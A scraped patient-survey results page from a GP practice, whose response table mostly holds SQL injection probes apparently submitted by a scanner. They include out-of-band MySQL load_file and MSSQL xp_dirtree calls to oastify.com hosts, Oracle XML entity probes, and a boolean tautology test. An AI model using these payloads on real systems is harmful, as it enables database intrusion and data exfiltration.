Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
(select load_file(‘\zdgcki4543t9rpp8a2jjbde940a4yxolfn3fqce1.oastify.comool’)) | [10] | [11] | July 4, 2023 at 9:07 am |
Very good’;declare @q varchar(99);set @q=’1jleqka7a5zbxrvag4plhfkba2g64zunle96w3ks.oasti’+’fy.comsjk’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 9:07 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %wyezj;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 9:07 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %wyezj;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 9:07 am |
Very good64105291′ or ‘8674’=’8674 | [10] | [11] | July 4, 2023 at 9:07 am |
